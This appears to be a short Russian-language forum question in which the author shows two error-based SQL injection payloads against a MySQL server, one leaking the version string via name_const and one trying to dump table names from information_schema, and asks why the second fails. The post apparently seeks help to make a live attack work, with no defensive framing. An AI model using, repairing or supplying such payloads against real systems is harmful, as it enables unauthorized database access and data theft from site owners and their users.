делают такой зпрос

'and(select*from(select(name_const(version(),1)),n ame_const(version(),1))a)and'

вывод:

Duplicate column name '5.1.69'

отправляю такой запрос

'and(select+1+from(select+count(*),concat((select+ table_name+from+information_schema.tables+limit+1, 1),floor(rand(0)*2))x+from+information_schema.tabl es+group+by+x)a)='1/

вывод:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from(select+count(*),concat((select+table_name+fr om+information_schema.tables+li' at line 1

в чем дело?